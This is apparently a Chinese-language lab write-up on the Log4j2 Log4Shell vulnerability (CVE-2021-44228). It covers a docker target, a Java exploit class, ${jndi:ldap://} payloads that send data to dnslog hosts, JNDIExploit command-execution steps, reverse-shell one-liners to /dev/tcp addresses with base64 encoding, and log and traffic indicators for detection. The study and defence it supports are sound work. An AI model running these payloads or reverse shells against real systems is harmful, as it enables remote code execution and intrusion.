漏洞文档
漏洞描述
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
Apache Log4j2重写了Log4j框架,并引入了大量丰富的特性。可以控制日志信息输送的目的地为控制台、文件、GUI组件等。
漏洞编号
CVE-2021-44228
CNVD-2021-95914
漏洞等级
严重
影响范围
Apache Log4j 2.x < 2.15.0-rc2
漏洞摘要
由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特别构造的数据请求包,可在目标服务器上执行任意代码,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
当程序将用户输入的数据被日志记录时,可触发此漏洞。利用此漏洞可以在目标服务器上执行任意代码。
漏洞分析
对于信息泄露,泄露的数据如何利用。思路如下:
- 获取(获取数据):利用
${}
和其他各种Lookup
- 带出(回显带出数据):利用
dnslog
或直接dns
协议
执行流程
- POC作为message传给
Logger
类的error
、fatal
等一些方法 - 略去一些非关键流程,会进入到
MessagePatternConverter
类format
方法对${
内容进行解析替换 - 进入到
interpolotor
类的lookup
方法,由前缀值jndi
获取到jndiLookup
类 - 最终调用对应的
lookup
方法发起请求
流程分析
MessagePatternConverter.format
会先判断输入的字符串中是否包含${
,存在的话会进入判断。该漏洞会将${}
中的内容当作表达式,从而进行远程加载。(将LDAP服务器上该地址中所记录的东西加载到本地,来进行字符串替换)
漏洞靶场
1 | docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln |
1 | docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln |
1 | docker exec -it log4j_vuln_container /bin/bash |
1 | /bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh |
访问 http://127.0.0.1:8080/webstudy/ 就可以了, post的参数为c
漏洞复现
与fastjson的漏洞如出一辙,需要编写一个恶意类。
弹出计算器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 public class Exploit {
public Exploit(){
try{
// 要执行的命令
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
构造payload
构造payload,post提交
1 | c=${jndi:ldap://log4j2.ua7wyw.dnslog.cn} |
dnslog查看
查看java版本
1 c=${jndi:ldap://${java:version}.t0k805.dnslog.cn}利用
${
来查询java版本
执行命令
在本地先要生成JNDI链接并启动后端相关服务,注意防火墙开启相关端口,用的是https://github.com/WhiteHSBG/JNDIExploit/releases/download/v1.4/JNDIExploit.v1.4.zip
1 | java -jar /Users/gryffinbit/Documents/Tools/JNDIExploit1.4/JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.0.89 |
一些坑:
刚开始运行jar的时候,状态是显示两个端口的监听,默认开启LDAP和http的端口。当后面POST请求的时候,成功利用了JNDI注入,会显示注入成功的一些提示信息
虽然是在本地启动的ldap服务,但是-i的ip不能写成127.0.0.1,要查询本地的ip,才可以
java -jar /Users/gryffinbit/Documents/Tools/JNDIExploit1.4/JNDIExploit-1.4-SNAPSHOT.jar -u
查看支持的 LDAP 格式。针对不同的网页框架和需求选择。下面的例子,在post请求里构造cmd,利用JNDI成功注入,来获得回显,采用的LDAP是
ldap://0.0.0.0:1389/Basic/TomcatEcho
构造payload
网页处于
http://127.0.0.1:8080/webstudy/
代理开启burpsuite,开启抓包,点击hitme,将该数据包抓获成功抓获数据包
将刚刚抓获的数据包,重放
修改数据包,将get改为POST,构造payload,成功执行命令
1
2
3
4cmd:whoami
Content-Type: application/x-www-form-urlencoded
c=${jndi:ldap://192.168.0.89:1389/TomcatBypass/TomcatEcho}成功回显
反弹 Shell
构造payload
1
2
3
4cmd: bash -i >& /dev/tcp/10.211.55.2/5555 0>&1
Content-Type: application/x-www-form-urlencoded
c=${jndi:ldap://10.211.55.2:1389/Basic/TomcatEcho}服务器端开启监听
1
ncat -lvnp 5555
在macOS上是ncat命令
在Linux上是nc命令
netcat有很多版本,不同操作系统下面的细节用法也不同,可以参考这篇文章:https://www.sqlsec.com/2019/10/nc.html#%E6%8C%81%E4%B9%85%E7%9B%91%E5%90%AC
可能攻击失败,这时候需要对payload进行编码
工具
使用 JNDI-Injection-Exploit 。
编码
对cmd base64编码(放进payload里的)
1
2bash -i >& /dev/tcp/192.168.0.89/7777 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuODkvNzc3NyAwPiYx目标机,主动对攻击机发起连接。攻击机收到目标机shell
payload
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuODkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.0.89"
-A 攻击机的IP
攻击机启动监听,获取shell
1
ncat -lvnp 7777
burpsuite 重放,改成POST,参数注入选择JNDI-INJECT生成的payload
1
2
3Content-Type: application/x-www-form-urlencoded
c=${jndi:ldap://192.168.0.89:1389/yltjam}
攻击排查
日志排查
攻击者在利用前通常采用dnslog方式进行扫描、探测,对于常见利用方式可通过应用系统报错日志中的关键字进行排查
1 | javax.naming.CommunicationException |
流量排查
排查日志或者解码后完整的请求数据包中是否存在
${jndi:
关键字。排查日志是否存在相关堆栈报错,堆栈里是否有
JndiLookup
、ldapURLContext
、getObjectFactoryFromReference
等与 jndi 调用相关的堆栈信息。
JNDI是什么
是什么
JNDI是 Java 命名与目录接口(Java Naming and Directory Interface)
来源
程序员开发的时候,需要开发能够访问mysql数据库的应用,于是将一个对mysql JDBC驱动程序类的引用进行了编码,并通过使用适当的JDBC URL连接到数据库
1 | Connection conn=null; |
但由于数据库服务器名称、用户名、口令需要改变的时候,由此引发JDBC的URL也需要修改.
数据库可能不使用mysql了,引发JDBC驱动程序包和类名需要修改
随着开发的进行,原配置的连接池参数可能也需要调整。
1 | jdbc:mysql://MyDBServer?user=qingfeng&password=mingyue" |
解决方案
程序员开发的时候不需要关心具体的数据库后台是什么,JDBC驱动程序是什么,JDBC URL格式是什么,访问数据库的用户名和口令是什么。即程序员编写的程序应该没有对JDBC驱动程序的引用,甚至没有数据库池或连接管理。应该把这些问题交给J2EE容器来配置和管理。程序员只需要对这些配置和管理进行引用即可。于是就有了JNDI
JDNI是如何实际应用的
需要配置数据源,修改配置文件的内容,使之能通过JDBC正确访问到mysql数据库。配置文件定义了数据源,其参数包括JDBC的URL,驱动类名,用户密码等
1 | 1 |
开发的时候,在程序中引用数据源。程序不需要关心JDBC具体参数。
在系统部署后,如果数据库的相关参数更改,只需要重新配置mysql-ds.xml,修改其中的JDBC参数,只要保证数据源的名称不变,那么程序源代码就无需修改。
JNDI避免了程序与数据库之间的紧耦合,使应用更加易于配置、易于部署
JNDI的扩展
所有与系统外部的资源的引用,都可以通过JNDI定义和引用。
LDAP 是什么
LDAP
- 轻量级目录访问协议。
- LDAP目录服务是由目录数据库和一套访问协议组成的系统
- 经过简单的配置就可以与服务器做认证交互
目录服务
- 特殊的数据库,保存描述性、基于属性的详细信息,支持过滤功能
- 动态的,灵活的,易扩展
- 目录是一个为查询、浏览和搜索而优化的数据库,成树状结构组织数据,类似文件目录。有很好的读性能,用来查询。
LDAP数据库服务器
访问某些服务器,想要获取里面的数据,需要用到LDAP协议
统一身份认证主要是改变原有的认证策略,使需要认证的软件都通过LDAP进行认证,在统一身份认证之后,用户的所有信息都存储在AD Server中。终端用户在需要使用公司内部服务的时候,都需要通过AD服务器的认证。
JNDIExploit
用于JNDI注入利用的工具。
JNDI注入
JNDI的应用场景:动态加载数据库配置文件,从而保持数据库代码不变动等,代码如下:
1 | String jndiName= ...;//指定需要查找name名称 |
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。
比如RMI:
1 | InitialContext var1 = new InitialContext(); |
JNDI注入就是当上文代码中jndiName这个变量可控时,引发的漏洞。它将导致远程class文件加载,从而导致远程代码执行。即"rmi://127.0.0.1:1099/Exploit"
这个正常的数据查找,变成了加载某有害文件。
即 利用JNDI注入需要满足2个条件
- 需要服务端存在一下代码,使得URL可控
1
2
3 String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
- 存在漏洞版本的java环境
JNDI注入原理
JNDI注入由于其加载动态类原理是
JNDI Reference
远程加载Object Factory
类的特性(使用的不是RMI Class Loading
,而是URL Class Loader
LDAP+JNDI 绕过更多版本限制,实现注入
LDAP
基于TCP/IP协议
服务端存储数据,客户端与服务端连接进行操作
树形存储
POC
代码会根据传入协议头的区别去进入对应的处理函数,只需要修改传入参数的解析头,再启动LDAP服务,恶意class的web服务即可
参考文章
https://mp.weixin.qq.com/s/W7kajN3GKKlK-C41N4re4g
https://www.freebuf.com/vuls/310414.html
https://www.cnblogs.com/study-everyday/p/6723313.html